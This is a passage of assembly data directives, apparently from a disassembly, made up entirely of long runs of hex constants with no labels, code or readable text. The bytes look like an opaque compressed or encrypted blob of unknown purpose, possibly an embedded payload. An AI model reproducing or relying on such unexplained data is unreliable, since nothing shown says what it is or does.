0CC0DF268h, 0E500CFA4h dd 0EF172B57h, 0E6FBB63h, 0A62EF66Eh, 7CE83494h, 1594008Ch dd 425440CBh, 12303E9Bh, 46A22184h, 376A0F5Bh, 0F0E3228Bh dd 11B018E3h, 2B0120CFh, 6572DBFEh, 10225A1Bh, 888E62Ah dd 6AFB661Ah, 67F43002h, 0E8104126h, 0D1D821A1h, 0AC0119FBh dd 0A19E742Ch, 42DC68ECh, 3C030870h, 0E45009C2h, 0F7315020h dd 98A3185Bh, 562A6CB0h, 1DDC5E52h, 0A00694E7h, 11AB4Fh dd 0C52DB7CAh, 0EB92DE31h, 8AE2933h, 702100C0h, 50042DBFh dd 9C18E61Bh, 3350871Dh, 90F0EE17h, 84EB0C58h, 12188C59h dd 9F1D50A0h, 27081E0Ah, 2B089C31h, 0EFB80092h, 3A58280Ah dd 0A3906664h, 0C42DB660h, 3CC63123h, 0BE006DC4h, 7BFF2A2Dh dd 13DF1F83h, 0FE73D087h, 0D325C400h, 13EB2E5Fh, 4ECBEDB7h dd 7989C404h, 0EBC02CB0h, 0B346BA7Fh, 0AF0F5B22h, 80C7EBB8h dd 31E14211h, 0B32D01ABh, 2B3D66C8h, 40C8A86Ch, 942DB946h dd 0A21233FCh, 207F4062h, 302A9CB3h, 0B7C94C1Ch, 7160E64Dh dd 20B8C802h, 73D5091Bh dd 12007C7Fh, 7DEB811Ah, 50290132h, 0E6ED49Ah, 0AE67CD92h dd 8AB95007h, 0CC98F6ECh, 56FA2500h, 9757966Bh, 904F7DAAh dd 1FC14658h, 0EEE83483h, 0A7C03091h, 772E347Ah, 744A3732h dd 4F5990D9h, 4B2853AEh, 0BE469899h, 872A097Ah, 0D81CBAEAh dd 2AA1B007h, 1FC01B18h, 1C77E61h, 3FEC90E5h, 603A60F6h dd 1E8C7D18h, 0D1B6EBC4h, 805788D3h, 19EBBCB3h, 9300ADDBh dd 29CD8F2Ah, 4813E340h, 8A815C65h, 20B1A0EBh, 91ED72ACh dd 9787B8B8h, 218EFA2Ah, 9FE04E5Ch, 0A6E5C22Ah, 2008B100h dd 1790E28Dh, 0E9C80B7Bh, 1C1D7349h, 60AB0308h, 4492464Bh dd 56750E00h, 67F605FCh, 0A4E61F65h, 4C0643Dh, 814D6090h dd 18BEFB8h, 384B168Ch, 30AAFF84h, 0A89682h, 337ACFD8h dd 38F69F5Bh, 3F9F4899h, 0E23C6800h, 3E58B5F5h, 9C51BC04h dd 0FF88204Eh, 809CF9C3h, 1810E59Dh, 0C0899B46h, 302CE458h dd 1F67CD9h, 8AF27046h, 96C5B0FBh, 203B9748h, 0EB037923h dd 0F817E5E4h, 6274DB6Ah, 9A4D50B7h, 7E447047h, 6858A960h dd 50A5743Eh, 0E34C0EE0h, 77A2358h, 0B4B9EBBFh, 0AE38ABh dd 29FEBB7h, 17FACF16h, 5DE58407h, 0D33270B2h, 3EC008Fh dd 0B0C0B5C8h, 0ED688A23h, 0E8AC5959h, 6B0B3508h, 3F4C703Eh dd 19D2328h, 31C22DBCh, 88C318B6h, 2D01C46Bh, 361F3D89h dd 0A1E1E425h, 94F74421h, 0B1711B06h, 312CA4E6h, 35892483h dd 91D097C5h, 0CC918054h, 3BBD31C3h, 0EC8203DEh, 6E122841h dd 5511A09Dh, 0C0C7409Dh, 1E2FA67Bh, 3A194100h, 0D0B86488h dd 0CC0C295Eh, 187679F0h, 17140716h, 905DCF30h, 4829A7B6h dd 50F649h, 8805FB2Ah, 0A42555h, 0D2E09384h, 5DCD830Bh dd 0A1C48654h, 2DB8048Ch, 62D631C6h, 0C06F20C2h, 2601B02Dh dd 0B7A3ADB6h, 0E98270F2h, 6E059CE5h, 8282BC84h, 9830BD58h dd 0EA88132Ah, 0E46C39C2h, 34392AA0h, 0F615826h, 20A0C57h dd 0E0075C1Fh, 0F83F8538h, 0E83120E9h, 96E0C48Dh, 0C6B048h dd 576F2A5Fh, 1856F8D0h, 424F3FAh, 0A00D60B4h, 544EF1AFh dd 26C0C188h, 3077EE2h, 395339Dh, 581ABD78h, 51B8E96Ah dd 18577144h, 0FF5600EEh, 725B17DDh, 9094035Dh, 0F6449C1Eh dd 0CF419630h, 0D0D29FF9h, 0C0DD40EAh, 2DBA01E3h, 18A631C0h dd 0C26988C5h, 503E2D00h, 1D0712F1h, 5DDD1FCFh, 0F5F2491Eh dd 0B1EC2C2Fh, 99009531h, 1C2BC1FAh, 2E884F66h, 0BC90305Fh dd 0ACA44DC3h, 0A5231C63h, 4F584655h, 5A0071ADh, 5D1E2BA0h dd 4D570169h, 0B520E087h, 73C3F0E3h, 6C4A8CA0h, 770151DFh dd 27050A79h, 59D20D8h, 0F48D3B07h, 1906FC2h, 74BC061Ch dd 8B706D15h, 0EC980E95h, 67D1234h, 90CC38FBh, 69DF2418h dd 53EFB738h, 7F2388A4h, 0B8EBC607h, 5A62E3F4h, 0EBBEB120h dd 65BC001Dh, 888D8C1Bh, 48253261h, 0BF0091A9h, 34088918h dd 0CE9E7099h, 80ADE918h, 0B3CB340Eh, 0FDE3819Dh, 94303233h dd 0C11E8C7Ch, 46F9BBEBh, 0AC006122h, 0A972EBB9h, 76EC7C26h dd 0CC022C2Dh, 7B465E7Ch, 0D7670076h, 41103EFAh, 0C3012068h dd 17C1E0D8h, 0D9C0B78Ah, 0A96C1331h, 39300789h, 0B8C6162Bh dd 84F850B0h, 0C3745982h, 11A4D96Ch, 18BCF8h, 22CF95B9h dd 0D6F250A7h, 0F4596017h, 5E104821h, 287166F5h, 0C4885462h dd 963484C1h, 0C47386F5h, 347BAA81h, 5487F4DFh, 1851E48h dd 3DE83C88h, 58726EDBh, 0E434F684h, 0E0A701B4h, 0D3605544h dd 71FD905h, 0F7124DB8h, 91609C30h, 3C3804CFh, 80BA06E0h dd 7D0B3134h, 851F6802h, 617BE601h, 9B18BCF4h, 0EA252A7Fh dd 25496CAh, 0C92AA3AEh, 0B8E78279h, 1BAB0442h, 0FE51BAB8h dd 3C34200h, 9096758Ch, 431800F2h, 35EFD023h, 0FA00493Bh dd 57B5B4BDh, 1C667CDh, 2BF768FEh, 739CA313h, 3079A2A8h dd 0C600E4DCh, 0E659D60Eh, 0E1179060h, 3F569C8h, 688B4178h dd 18066501h, 6711A796h, 60A93E41h, 3853D981h, 0FC2533CBh dd 50464A2h, 91556CE8h, 7B676081h, 9B03D4h, 0EB68D0D1h dd 2FF69269h, 0EA496B67h, 40B328A2h, 1D33CD00h, 5C7D042h dd 850EF3EFh, 0ED808194h, 4A890071h, 275D122Ch, 80100859h dd 0D51E33CFh, 1038DBD2h, 0EBBD00B0h, 44A79F30h, 0E17DE2D1h dd 54E3EA1Ah, 0DBB84081h, 2FEC8091h, 465ECC94h, 5C60FFCh dd 18ACBF14h, 0F56467Eh, 0AF1C9D4Bh, 33F6C4D2h, 604A3888h dd 1C05295Fh, 22030F18h, 0BA196F03h, 0BCD68862h, 30990281h dd 682974E6h, 60379CABh, 785EF381h, 59DD1CEAh, 0B20B7DCh dd 1B2D7440h, 0F6D1D820h, 0BF175FBDh, 34204F75h, 0F8DE9F0Ch dd 8DBA24C1h, 20050358h, 0F9C889C0h, 0C4FC1B42h, 0D1AE703Fh dd 0A2DC6390h, 0CF1930C1h, 963CE301h, 0EDE668ABh, 65E86E00h dd 0A95BA327h, 0E2E8453Ch, 9318AB02h, 1353002Eh, 19BD5540h dd 0DD026CECh, 12ED626Bh, 494AB6Ah, 9380E54Ch, 6C3FA31h dd 11C59ED1h, 0FF00216Ch, 1F82293Dh, 19BAD43h, 87C83215h dd 33EC2EF4h, 30BEA2E0h, 73EC317Bh, 93900CB2h, 0F4A06BFEh dd 72494A3Ah, 0FA70010h, 92893F5Dh, 0C75EF808h, 0E0839919h dd 51DAA858h, 7E01DEF6h, 82FA4A6Dh, 1DE0BEAFh, 98B80016h dd 9E8168B7h, 0C898D90Eh, 5A7150B9h, 4A00FF18h, 9119084Ch dd 2DE9E570h, 0B01B6A69h, 38619C99h, 0E51060C8h, 0E6FF2757h dd 7D009804h, 741B00EFh, 0F73608ACh, 18C39616h, 0A625A4E5h dd 0B77A0C38h, 9E403A39h, 0B905A8ACh, 0AE31BF2Dh, 6A07888Eh dd 10F32DC1h, 1031F4D1h, 0ADB59D01h, 6699C432h, 4262B642h dd 79805924h, 674187Eh, 0CD7C8034h, 112AA87Dh, 492AD04Eh dd 9B02946Fh, 64991568h, 65F4E1FBh, 80369210h, 0E5102701h dd 0D7D0F8A1h, 77F17C78h, 0ECF02872h, 0E1028CBDh, 0DCDBED26h dd 19E478D2h, 0F8742F5Dh, 0A9A460F2h, 19BE30CBh, 0D4E8F800h dd 0D90703F9h, 4DD2FE82h, 9879C5C0h, 6903F205h, 0F4497BF3h dd 8560104Fh, 9B1E1C2Ch, 3815C094h, 37C31AA5h, 1F1C5007h dd 0EDF35333h, 0C73AF43h, 99E802F8h, 668D656Ah, 6BF0908Ch dd 3151B661h, 0A82CD7EFh, 71764719h, 85EEEC63h, 0F6F9BEFCh dd 28B1C466h, 67185471h, 0F4112503h, 1137641Fh, 22170B70h dd 463090BEh, 348502C3h, 0E77E7095h, 7CA9008Ch, 0D77A4B34h dd 0CBD3A600h, 2EC7B4DFh, 4F74AB2Dh, 23A82FA9h, 0EAC6007Fh dd 3829CD55h, 8C0B8E0h, 7704D8F7h, 9D8425EBh, 1F313C00h dd 0B4A2FDA0h, 9C9134DBh, 0C12DBB80h, 448CBE31h, 0C3036CBFh dd 0B8F68B2Dh, 0DA319A74h, 0FB6A1110h, 36CD0F2Ch, 70A83E3Dh dd 0A8612900h, 47AB450Dh, 57A0A8F8h, 1FD11E05h, 0D31300C7h dd 20818861h, 153ACF07h, 3560E844h, 532EF673h, 0BA2394D0h dd 832A9501h, 70639AEAh, 2A9DB480h, 5570F08Bh, 8AF51F09h dd 5C3C02D5h, 39F08003h, 0AA66F17Ch, 8B5C194h, 6418ACh dd 77D55A0Fh, 9F746333h, 39DCAC9Ch, 8F5C5BCEh, 0BED4E17h dd 50E1BAFEh, 90C9B10Bh, 0FE031534h, 77CC3AC5h, 11D4268Ch dd 8674414Ch, 0C9DFE4A3h, 0B3675603h, 0F8AD8A4Eh, 29AE181h dd 0A9633B4Ah, 6851BF4Fh, 96180179h, 4B834202h, 0E0ACD250h dd 81B980F0h, 990BD34Fh, 802AAE8Ah, 0D5A70219h, 0E0F000E2h dd 26112824h, 8A38B564h, 38CA30FBh, 0BBE30EC6h, 516978A4h dd 0B7B82A01h, 1B66109Fh, 0FA79F068h, 2F025A9Dh, 802354h dd 904B3BC8h, 40491733h dd 44F425A0h, 672D10F8h, 48EC3B61h, 3B280BC4h, 0B68C3ACh dd 519B6010h, 34E540C2h, 18AB02E2h, 5B008B77h, 62D6A865h dd 59E632h, 5DF039D3h, 0D0A23897h, 0DDC23B17h, 5480049Bh dd 37ECE79Dh, 0BF5D661Fh, 467C842Ch, 4CEE0080h, 0FF281684h dd 0E0185827h, 6775984h, 2010725Ah, 102D8815h, 912C17E2h dd 909C805Bh, 17C7824h, 3E148BAFh, 24B44FA1h, 1A7FA63Ch dd 0EF069B90h, 0D814DD39h, 84B92078h, 0C04D870Ah, 7B00DFF6h dd 5BF4B7C8h, 3AAA5AE9h, 3562374h, 8486FBC5h, 171CC0E4h dd 0C8BE45DAh, 0B6696A06h, 8C68D699h, 8040193Ch, 1A49964h dd 0B236EFCFh, 0A9208BE3h, 9C08C66Bh, 624656C0h, 4FA0B006h dd 76C081BBh, 0A84D5B05h, 5DDE00B1h, 7C419ACFh, 130050AEh dd 727FB98Ch, 926C8F65h, 709909A0h, 0F058AF35h, 0EB473209h dd 0CDCD80B7h, 4C6A541Fh, 0D382F471h, 34C4C01Eh, 92D13E38h dd 5817DCA3h, 63C84CCBh, 0F652F7C0h, 44109530h, 0B8406403h dd 0EFB718BFh, 53F93173h, 0C7D5A20Bh, 0E64C8212h, 74BC2A1Bh dd 62000446h, 0B5B06C85h, 0C507E859h, 16AC1E6Dh, 0F710220Bh dd 7C645CEEh, 3D41FF44h, 1200C351h, 89C255A9h, 28074585h dd 0C1830610h, 11B52900h, 3B12C001h, 0CD860FD9h, 52028FE1h dd 11BDE68Bh, 665F0F1Eh, 5E5ED98Ch, 0F61470A1h, 0F1804C1h dd 89358A84h, 3335308Dh, 0C995FF1Eh, 0E90C0D63h, 51231708h dd 488400FAh, 5B674AE3h, 0E8166A63h, 20230E03h, 8940C359h dd 8104244Ch, 1A084466h, 0A1D7C021h, 0C293F10Ch, 89EB3803h dd 3F2A81BDh, 1F62B6Ch, 338F82EFh, 0B2343D31h, 2C35DE7Fh dd 398C5076h, 8911C358h, 80168844h, 1EC35040h, 890DCAF3h dd 0DB12D9B5h, 9DB32907h, 31850CF1h, 8BFD6185h, 536EC064h dd 0C8C35B61h, 448C5C89h, 53004319h, 14668BC3h, 0A14F82D9h dd 75BE09C6h, 2ED81C65h, 201C2362h, 150A04DBh, 802D563Ch dd 0B185C7BBh, 3B3BBC9h, 10507275h, 34222972h, 0D53AC65Fh dd 0C5071B23h, 68607743h, 28C03B55h, 3D2C9D09h, 0C5F0BD81h dd 4407D00Ch, 342885D3h, 14239C2Eh, 0BD09D101h, 44241659h dd 0B232A385h, 290680B5h, 9120CD8Dh, 64319056h, 5A615274h dd 5489C8C3h, 4217448Ch, 0CBC35201h, 2BB32EADh, 8213A920h dd 1561A102h, 81669000h, 99AE32F6h, 5D305562h, 4689E4C3h dd 1D226Ch, 8DC35545h, 4A3036BDh, 0AB135601h, 0E9F5DACDh dd 98009B57h, 0E1689E1h, 60B471A9h, 0F2BB6621h, 6BAD0D6h dd 8F0FA61Bh, 3161802Dh, 7C533B5h, 1AB28DABh, 0AE903h dd 0B7225A25h, 0FCA6EA0Eh, 4D26137Dh, 0A9122361h, 0E5BD4521h dd 208BE3A8h, 52772F8Dh, 1F4975FAh, 0E279421Fh, 6FF3016h dd 0BD31FD06h, 0C4A084Dh, 9B3BF66h, 398C5650h, 8913C35Eh dd 461A3874h, 61C35600h, 4BB4B241h, 6736487Bh, 8C19E8h dd 3B3FA7F3h, 0FE84E22h, 0CE631DC0h, 371244h, 39F19231h dd 0FADEE6C7h, 6604307Dh, 0F9BD4EBEh, 0DF8BA3C3h, 22E9FE20h dd 0A3FF71F8h, 0F01BA96h, 4EBC1E2h, 5E53D490h, 0E950F3F4h dd 0B4007D36h, 69B703ECh, 9D586Fh, 0FEA92DA6h, 858D8C87h dd 4640B949h, 7C26F093h, 64AC09A0h, 1A312B5Ch, 0E43390h dd 6CF84A6Ah, 3F64B4F5h, 0EDC850A4h, 3E1A5071h, 11050DBFh dd 4E0E41A7h, 0C01D88ACh, 0C2FE6AAFh, 8CF03502h, 6074CA20h dd 24EA5DEFh, 8472794h, 0FC3006BDh, 911413D8h, 1919D9E3h dd 80FEF8C9h, 0EDBEF785h, 7DBD120Ch, 1D660823h, 5C08305h dd 51258430h, 0D0630264h, 507DEA3Fh, 89F8F180h, 86C82404h dd 0C35FC357h, 387CF497h, 0C3570147h, 9B973921h, 959120BFh dd 0AA1F8D29h, 0EC8B4C39h, 0DE7C8C15h, 0A1852909h, 197A9032h dd 2599841Dh, 0FD181571h, 0EE9D518h, 1C7A115h, 76FCDB5Eh dd 0C0304CD9h, 0A70031D2h, 0D89D8DDDh, 0C60613AFh, 852F91D2h dd 0BC2BD359h, 84C20127h, 0ABC5A7A9h, 6EE60AFh, 9CF8188h dd 271F857Ah, 1419FF82h, 13C40305h, 405D5D8Ch, 984DE929h dd 43E837A3h, 0ED81C20Fh, 1D274AE2h, 801D11B9h, 67489FBBh dd 0D6303A52h, 5E86493h, 8F2DC606h, 4686087Dh, 8BF90101h dd 640BA59Dh, 7A0EEF94h, 0CE271B4Dh, 9F010BE3h, 801D1163h dd 11F9A9EEh, 0E9FD05CFh, 42A7187h, 513D988h, 0C382DB0Bh dd 0A6971A94h, 58821611h, 776232A6h, 83F78980h, 125122BDh dd 84EC8DA8h, 88D83111h, 8B0DC102h, 0A067E9FBh, 5F2E970Fh dd 1E2051A8h, 2A2CFBDCh, 13154674h, 0A8012E32h, 3D950160h dd 4A04C155h, 61031D15h, 357527E9h, 880B1260h, 0CC569Dh dd 4FD66171h, 0F266C13Ah, 0FDBF7B02h, 93786099h, 81408453h dd 9EBA44DFh, 41836848h, 88B94FE9h, 33B6C718h, 60AA8319h dd 2AF91BC0h, 0A6E1B38Bh, 23810EC1h, 0E95CFEFFh, 18147134h dd 2989A003h, 8C66801Fh, 1067DB5Ch, 0F61230E5h, 0A0FD83C3h dd 0BC36394Dh, 218E037Eh, 2C20DEECh, 2D016212h, 404E1FDDh dd 0B9C01C88h, 0C1D43Bh, 0C93FB78h, 0B501FCABh, 2E3ED14Dh dd 5D609E90h, 16B1C880h, 0A03276Eh, 40FDE866h, 0EE194587h dd 2813AD00h, 622717ECh, 0F8B40129h, 0D3B952A6h, 0E6622E9h dd 3F8653h, 64EE9E0Bh, 8A440006h, 0D017DA9h, 5F184D7Eh dd 602F05E9h, 63CA1EF9h, 0E12F9A1Eh, 0B8E04CCDh, 2420D9D2h dd 11A83011h, 22E04C08h, 61602402h, 0D32406A9h, 310A10B0h dd 8802418Dh, 2E006222h, 0EDFDEB2Ch, 7831778h, 723902E1h dd 54F923B5h, 70E661E0h, 255CF9B8h, 0FF08965Ch, 71E40B0Fh dd 1A117D1Dh, 26C4F80h, 0F6248296h, 85087125h, 0B60F0128h dd 0DABAF9D8h, 0FD9F5071h, 12C3EEA2h, 86F1BD33h, 25203E6Ah dd 0E8C11305h, 23E33A04h, 0E0EF001Ah, 0FA6E9A01h, 118C2048h dd 0F7020D65h, 0D82BF5E2h, 17448047h, 97A26560h, 8B93DA04h dd 0A98750F0h, 0F825BD08h, 0F288589Ah, 0C9CE6EB7h, 0E85EDC12h dd 9700E491h, 5C797D11h, 0D64300AEh, 58B12AE9h, 3902A23Fh dd 7F5A10D2h, 708402Dh, 95E48AAh, 5F928B25h, 936DF109h dd 0CC2BC2C1h, 8A063D20h, 21CD9B02h, 0BE030F44h, 5D2941Dh dd 4841EA31h, 13613CC9h, 40AA830Fh, 66EE81F2h, 70496407h dd 6A424900h, 26B0549h, 5A1FC16Bh, 0FB4955BAh, 612E0944h dd 0C0001B23h, 20302C6Dh, 0DDB3248Eh, 7444A420h, 0B8001846h dd 45D4AF0Dh, 0E6128166h, 1D5D69D6h, 0BB8ECEC1h, 22200BB4h dd 0E0D0F260h, 5A3E078Dh, 0A461FE8Ah, 0D4B48753h, 8B5E031Eh dd 4358E2F9h, 0FC5AED02h, 0DFB853Eh, 1AC80CCFh, 28DEA0CFh dd 308D7F1h, 5CBB60B4h, 66D02E12h, 42F588BAh, 14648CD0h dd 0B0CE930h, 0A55052h, 7C4DA4D2h, 78B92931h, 0B1990373h dd 41BD2B06h, 0C1832CAFh, 1C4676E0h, 0A9A7CD00h, 13335250h dd 0F919616h, 0BE003F97h, 0E1511526h, 0A8526769h, 86E4Ah dd 309640FCh, 960E8EAh, 10B19D23h, 8E7A99CAh, 250F6144h dd 451AF1BFh, 317D4782h, 381197D3h, 0B3B77B76h, 5BF80575h dd 75ED0EF5h, 32C32D11h, 60510061h, 0B281BD29h, 48B2EEC9h dd 0D33831B1h, 4A61E41Ch, 853505E9h, 0A5C08BF9h, 0C18F201Eh dd 5C602141h, 0BB49A75h, 18D6D51Bh, 1180FAB7h, 9D89F188h dd 341C5A81h, 8806CB7Fh, 2BF3C01Bh, 0F50A11DFh, 0A6D052C7h dd 4530550Bh, 0BBBE601Ch, 7C4F66C4h, 7156FF32h, 0DC010ED9h dd 682BCE00h, 0BE3879AFh dd 54CA07F8h, 0B5B25FA4h, 0F17ED269h, 0F548C436h, 8C19E8h dd 79C1B7CBh, 8E0F1608h, 30661FA1h, 8D1389FDh, 0E8292A01h dd 799F488h, 0E8A49014h, 97098C16h, 5603EC8h, 0A0507159h dd 84510D1h, 580CB87Dh, 0B3801DE9h, 0FF90D43Ch, 9C00C1FEh dd 33EC0439h, 0F6D1505h, 0F976DC6Fh, 3202F8C9h, 0F366890Fh dd 20DBD19h, 1EC59563h, 1BE2E073h, 0FEF0BA31h, 0E94E0A2Fh dd 892ACB2h, 23020FE5h, 0F2151BDh, 360140F4h, 8D0703FCh dd 88964E65h, 0D564C117h, 2A61F260h, 9D041423h, 8852EDBDh dd 8D03A609h, 0FFB9F68Eh, 0F1FBB8C3h, 0AF90120h, 9373CB3Dh dd 0D8BC21E4h, 0EBB9FC61h, 0BF1815D1h, 0F88B3F13h, 0DA80929Bh dd 7436998Bh, 4F20B71Eh, 0E11828A4h, 5AE95ECBh, 0D1411084h dd 148C14E8h, 0B5C18B2Dh, 8C1CE8h, 0A02A9E2Fh, 0BCEE264Ah dd 1073B058h, 354F0EEDh, 49250481h, 0A8E62411h, 46D1B5A0h dd 77337616h, 0C620908Dh, 61578908h, 5F3A016Dh, 4DE13C50h dd 0CBBCA5h, 99BC4D64h, 85892381h, 584AB15Dh, 67D52A56h dd 40EF9F8Dh, 0BA7F7122h, 535E174Fh, 0DCE40088h, 19B501EFh dd 5C357DBCh, 4600BE6Fh, 9190C682h, 8404E4B2h, 20959D01h dd 0F3053109h, 81B9A419h, 8D3C1D41h, 905F5709h, 50F96B80h dd 0A70CBE60h, 14737204h, 0A7617FDAh, 671944AAh, 85FA1500h dd 20C95A67h, 63490FC0h, 7674E702h, 736AF941h, 4D757846h dd 17BF433Ah, 0A717D534h, 81953021h, 6A2E7378h, 3C01F45Dh dd 82CABEBBh, 2AFCCF22h, 75F35A8Bh, 0A085F6C3h, 0B7176E4h dd 4626B26Bh, 0CDEEB54Ch, 8C421646h, 4C321BE2h, 43E42621h dd 0C4C51687h, 3EAFF322h, 0DB13433h, 0D108D982h, 1D8B62A9h dd 60A36D12h, 306410DCh, 66268802h, 0D1BB67BFh, 0A19DE4A5h dd 0B8B53986h, 0AB4F0DCDh, 0CDF095E9h, 0B22B031Ah, 31A9A785h dd 84427DE5h, 0EF419D8Bh, 0A58CC010h, 0A10C0396h, 1D10E999h dd 45E6587Bh, 0B99C4100h, 0A2B32535h, 7C74E505h, 6B33AEEh dd 870F5606h, 0BF023B05h, 3D9AC002h, 43E8D25Eh, 0ACA349B4h dd 0A6F40156h, 0E81B36D6h, 7D1D8313h, 0AB9520h, 0D2B7C642h dd 8C44B0EEh, 8209D47Dh, 44F96A10h, 0B6340045h, 5E2B1928h dd 0A32DBD83h, 3109911Bh, 0DE75A3ACh, 0AE957504h, 51820960h dd 7D8B0B0Dh, 5E5E7004h, 0C7F0BF42h, 4A3E8B85h, 0E04C4D29h dd 21AC0BDEh, 0E9536208h, 0F78B8A2Bh, 0FC104E32h, 143A8C15h dd 8D5F124Ch, 0E6813430h, 0A65516BFh, 2AF99D4Fh, 8F04606Ah dd 8157D236h, 6905D177h, 118D8FFCh, 1CAE82C8h, 0EBE43740h dd 0DC330315h, 0A5D28C1Ah, 4E2AC4A8h, 0E5087E02h, 59304822h dd 7E19A5D8h, 0F2C39E8h, 0C0DB6FE2h, 69DADDB5h, 0CFB803B4h dd 286AC9Ah, 32C19DB2h, 80E72853h, 0F1C6E5A4h, 387B0005h dd 0A067360Ah, 6C2FF761h, 5FC9828Ah, 0B949C05Eh, 0A1880965h dd 0AA47610Bh, 1C621444h, 2E4098F0h, 3D024E9h, 1D467C5Ch dd 7431500h, 19BCCD4Dh, 99E0D716h, 8356E800h, 7DD3B860h dd 233F0972h, 0DB40E18Dh, 66E0B061h, 32CF810Ch, 4F29900Fh dd 1DD7E23h, 897754BBh, 0E02C15BDh, 0C1F76267h, 8B71E459h dd 441DA166h, 6912C4C9h, 26C9F61Ah, 384010E9h, 0DB737h dd 8CC25F64h, 7533DC1Ah, 47894000h, 0B2C4EC8h, 7FC3588Bh dd 8C1CE8h, 0D4059A4h, 13607AC7h, 0E3E9CDEBh, 0FEEF2501h dd 23FC568Dh, 0AD046F8h, 37616078h, 0C83B3DB0h, 9BEE154Fh dd 2E13C7BCh, 0E8C58A45h, 5F99504h, 0FB897B1Eh, 6C18D82Bh dd 4500FCA0h, 0BDC007E0h, 568A8Bh, 0C9474053h, 0F4A9B64h dd 58A28352h, 0F75D2AE5h, 7EBF5DA0h, 11EBAA02h, 56241C89h dd 723ADC03h, 9D09099Bh, 5B2CC259h, 25C4316Fh, 0CF45392Fh dd 0D6D8489h, 2C47B009h, 0E0631544h, 0EF2980C4h, 54902CF3h dd 570307B4h, 1636056Ah, 0CC278566h, 2412207h, 5B5DF830h dd 0C50521AFh, 0AF261D31h, 3C9302F1h, 564450C6h, 1CB18FA0h dd 0E5425E81h, 79134AFEh, 0AA990179h, 0FED20210h, 0F8E6C980h dd 5924798h, 0BC0EFA86h, 2E713CFEh, 6A5F806Ch, 391A6DCEh dd 921EEF13h, 2913A44Bh, 1914D17Fh, 0F9BF1940h, 783D9B58h dd 0F0007499h, 76072635h, 0CB6C7DC2h, 2969F1F0h, 82641763h dd 0C500CAB5h, 4EB92B9Bh, 88D48F07h, 0E8F5C116h, 6D213098h dd 0D6A075Bh, 0B3001B23h, 27962158h, 0B6EFE2BBh, 0C3029801h dd 0C12CB52Bh, 0F24F6D1Bh, 0B204FA6Fh, 0B8CD504Ah, 311A2D64h dd 6010A8EEh, 5D658D29h, 75986121h, 4498A75Bh, 0D5BA6017h dd 0BE0E0166h, 27A5546h, 3851EE2Bh, 0E0181879h, 0B5F2D01Ch dd 1B09E88Ch, 2BA3001Eh, 0E03B352Fh, 604F7E9Dh, 0BE8BAD8Ch dd 5E6142F8h, 2B114CDBh, 18A26553h, 6536130h, 0E9BFF455h dd 0A1811B29h, 8B463471h, 8D9BC04Ah, 54F2C980h, 3F5BD16Ch dd 859B7F52h, 0BB519280h, 0F117723Dh, 0F012F219h, 8BE4E8A5h dd 285B5D31h, 8B144FBCh, 8B856F9h, 3B23619Dh, 16C18D08h dd 0B7C262A7h, 4B2CAC1Dh, 48929C47h, 19E2AAE3h, 41BA230h dd 31B021EAh, 1FF9E8h, 8483CCC8h, 0FCDB5248h, 81A800ABh dd 606ED8D7h, 0C9905E35h, 0CE1EE927h, 0A4BE05D3h, 9925C58Fh dd 301C344Dh, 0D79D144Fh, 0F8A82E6Dh, 35453B00h, 2F20D759h dd 0E0821FBFh, 0A690926Fh, 3D3FE019h, 1283722Eh, 0E25CE829h dd 1EF3002Eh, 63B314B0h, 8321B191h, 358DD79Ch, 81403DD0h dd 0A574043Ah, 0C0256D85h, 15C4DD67h, 8D096009h, 126DD095h dd 4939BD01h, 320161A1h, 20D6B460h, 0D20B534h, 0E04A8828h dd 0D5860ED9h, 0DE21F1DAh, 60849313h, 0DD5F8DB7h, 0DF817740h dd 774534DBh, 0D11A910Ah, 3F231817h, 72C897BCh, 58192910h dd 5B700BCAh, 33E090E8h, 0E3B60031h, 9EEA1618h, 0AA02A83Fh dd 952948D9h, 49F5569Dh, 5E52F7F2h, 3114E248h, 802A68E3h dd 0DDC97E71h, 12E8F606h, 88FA8B46h, 4378F269h, 7E27A30Eh dd 2E303A7h, 0E505D033h, 7C790B5Dh, 0F05EFBDh, 0B3B0271Dh dd 0FD8CFFF7h, 0A2B8FDh, 26E484CFh, 40AA2950h, 0BD4A7474h dd 0C3A70AD5h, 16D6C6A0h, 0C2F92801h, 0E88F4296h, 743E3Dh dd 524EF65Dh, 9CD725D1h, 2C707700h, 68FE5045h, 0EADE0281h dd 5F3996A8h, 0ACA6D9D9h, 18AF3ADEh, 0B6507198h, 8B951D9Dh dd 30D946E9h, 0C63507E8h, 6670EF60h, 0B82A682Eh, 8B6A4A60h dd 0C4A80389h, 465B27F6h, 0FEF7B3F8h, 678CC512h, 81095BF0h dd 0ED98C65Fh, 16077643h, 9C2F5C88h, 0E104802Eh, 5EE903Dh dd 0BDEB6C86h, 0FB6FB0F4h, 524C5071h, 4DC4C078h, 4832C59Ch dd 645092C2h, 0F82700BEh, 0F5F79E3h, 58255A31h, 9DD3790h dd 0E8042986h, 4F4CA87Dh, 3E87AA9Eh, 168D20F5h, 8517B015h dd 0C3052C65h, 2D032E81h, 0AAF1D4BEh, 0DAC08175h, 0BFF41427h dd 31743B4Ch, 90F709DBh, 67BE5A78h, 37B9FA67h, 8F398201h dd 81692AFCh, 81E624F5h, 715E600h, 0BD0908ABh, 0DC2A4F8Dh dd 0B52E2960h, 19ADEE75h, 0DE983181h, 53D33112h, 0B70F5613h dd 5FA307C5h, 59680351h, 0FD60E4E3h, 9531FE38h, 0DA014AB1h dd 27855843h, 648A6701h, 4773601Dh, 53AF0102h, 0C0939CBh dd 0DE7E60D9h, 8B94F903h, 11297D9Dh, 5A1D8DF7h, 50530535h dd 769DFBD2h, 14467CD1h, 90DFD24h, 6BC42815h, 7C2D8379h dd 56DC1226h, 0DEDD2E69h, 0BDF56700h, 8CEDC9EEh, 51E9378Fh dd 0B0B5621h, 85562400h dd 3886B28Bh, 0F56E17EFh, 8AC11AEEh, 8B85E379h, 0EB2381B5h dd 0AD17592Ch, 0D8304E71h, 1800FD76h, 0D40AA620h, 3D2D08B6h dd 6F01324Bh, 83306511h, 0C2334961h, 70BF6620h, 0C88D53EEh dd 86058C4Ch, 0A745CB72h, 0E2F852C9h, 0F142301Ch, 34AD490Fh dd 7D47E48Dh, 0CB3CF6B1h, 426E5Eh, 51D5F790h, 7C1134h dd 60521E15h, 0E18ABEB2h, 0BD053294h, 0F7A62AFDh, 0D814722Dh dd 1BC46B85h, 2EBAFC60h, 0E05C205h, 0CC0EA488h, 2C0B288Dh dd 6D5600F1h, 90610135h, 50F78B05h, 0D5A65E53h, 6E6030F1h dd 0F9DD9E20h, 0F27B2Dh, 0B4249CB6h, 0DA0A84B5h, 0B310B000h dd 0DE9610Fh, 0AF3DB504h, 